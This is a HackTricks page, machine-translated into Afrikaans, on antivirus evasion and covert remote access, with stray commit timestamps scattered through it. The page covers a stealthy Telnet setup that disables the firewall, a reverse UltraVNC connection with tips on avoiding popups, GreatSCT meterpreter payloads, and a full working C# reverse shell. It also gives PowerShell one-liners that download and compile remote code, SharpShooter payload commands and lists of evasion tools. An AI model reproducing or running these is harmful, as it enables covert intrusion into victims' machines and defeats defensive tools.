'n Ander instrument wat dieselfde ding doen, is [**avred**](https://github.com/dobin/avred) met 'n oop web wat die diens aanbied in [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
```bash
pkgmgr /iu:"TelnetServer" /quiet
```
Maak dit **begin** wanneer die stelsel begin en **hardloop** dit nou:
```bash
sc config TlntSVR start= auto obj= localsystem
```
**Verander telnet-poort** (stealth) en skakel firewall af:
```
tlntadmn config port=80
netsh advfirewall set allprofiles state off
```
2022-12-11 19:30:44 +00:00
### UltraVNC
Laai dit af van: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (jy wil die binêre aflaaie hê, nie die opstelling nie)
2024-02-11 02:07:06 +00:00
**OP DIE GASHEER**: Voer _**winvnc.exe**_ uit en konfigureer die bediener:
* Skakel die opsie _Disable TrayIcon_ in
* Stel 'n wagwoord in _VNC Password_
* Stel 'n wagwoord in _View-Only Password_
Beweeg dan die binêre _**winvnc.exe**_ en **nuut** geskepte lêer _**UltraVNC.ini**_ binne die **slagoffer**
2024-02-11 02:07:06 +00:00
#### **Omgekeerde verbinding**
Die **aanvaller** moet **binne** sy **gasheer** die binêre `vncviewer.exe -listen 5900` uitvoer sodat dit **gereed** sal wees om 'n omgekeerde **VNC-verbinding** te vang. Dan, binne die **slagoffer**: Begin die winvnc daemon `winvnc.exe -run` en hardloop `winwnc.exe [-autoreconnect] -connect <aanvaller_ip>::5900`
**WAARSKUWING:** Om stil te bly, moet jy nie 'n paar dinge doen nie
* Moet nie `winvnc` begin as dit reeds loop nie, anders sal jy 'n [popup](https://i.imgur.com/1SROTTl.png) veroorsaak. Kontroleer of dit loop met `tasklist | findstr winvnc`
* Moet nie `winvnc` begin sonder `UltraVNC.ini` in dieselfde gids nie, anders sal dit [die opstelvenster](https://i.imgur.com/rfMQWcf.png) laat oopmaak
* Moet nie `winvnc -h` vir hulp hardloop nie, anders sal jy 'n [popup](https://i.imgur.com/oc18wcu.png) veroorsaak
2022-12-11 19:30:44 +00:00
### GreatSCT
Laai dit af van: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
```
git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py
```
2024-02-11 02:07:06 +00:00
Binne GreatSCT:
```
use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole
```
Begin **die luisteraar** met `msfconsole -r file.rc` en **voer** die **xml-payload** uit met:
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
```
**Huidige verdediger sal die proses baie vinnig beëindig.**
### Kompilering van ons eie omgekeerde dop
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
2024-02-11 02:07:06 +00:00
#### Eerste C# Omgekeerde dop
2024-02-11 02:07:06 +00:00
Kompileer dit met:
```
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
```
2024-02-11 02:07:06 +00:00
Gebruik dit met:
```
back.exe <ATTACKER_IP> <PORT>
```
```csharp
2024-02-08 03:08:28 +00:00
// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
namespace ConnectBack
{
2024-02-11 02:07:06 +00:00
public class Program
{
static StreamWriter streamWriter;
public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}
}
}
```
### C# deur die gebruik van 'n kompilator
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
```
[REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066](https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066)
[REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)
2024-02-11 02:07:06 +00:00
Outomatiese aflaai en uitvoering:
```csharp
64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
```
{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}
2024-02-11 02:07:06 +00:00
C# obfuscators lys: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
2022-12-11 19:30:44 +00:00
### C++
```
sudo apt-get install mingw-w64
i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
```
2024-02-08 03:08:28 +00:00
* [https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp](https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp)
* [https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/](https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/)
* [https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf)
* [https://github.com/l0ss/Grouper2](ps://github.com/l0ss/Group)
* [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
* [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
### Gebruik van python vir die bou van inspuiters voorbeeld:
* [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
2024-02-11 02:07:06 +00:00
### Ander gereedskap
2020-11-10 09:43:37 +00:00
```bash
# Veil Framework:
https://github.com/Veil-Framework/Veil
# Shellter
https://www.shellterproject.com/download/
# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
2024-02-11 02:07:06 +00:00
# Javascript Payload Stageless:
2020-11-10 09:43:37 +00:00
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3
2024-02-11 02:07:06 +00:00
# Stageless HTA Payload:
2020-11-10 09:43:37 +00:00
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee
# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4
2024-02-11 02:07:06 +00:00
# Donut:
2020-11-10 09:43:37 +00:00
https://github.com/TheWover/donut
# Vulcan
https://github.com/praetorian-code/vulcan
```
2024-02-11 02:07:06 +00:00
### Meer
2024-02-08 03:08:28 +00:00
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2024-01-02 18:28:27 +00:00
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
2022-04-28 16:01:33 +00:00
</details>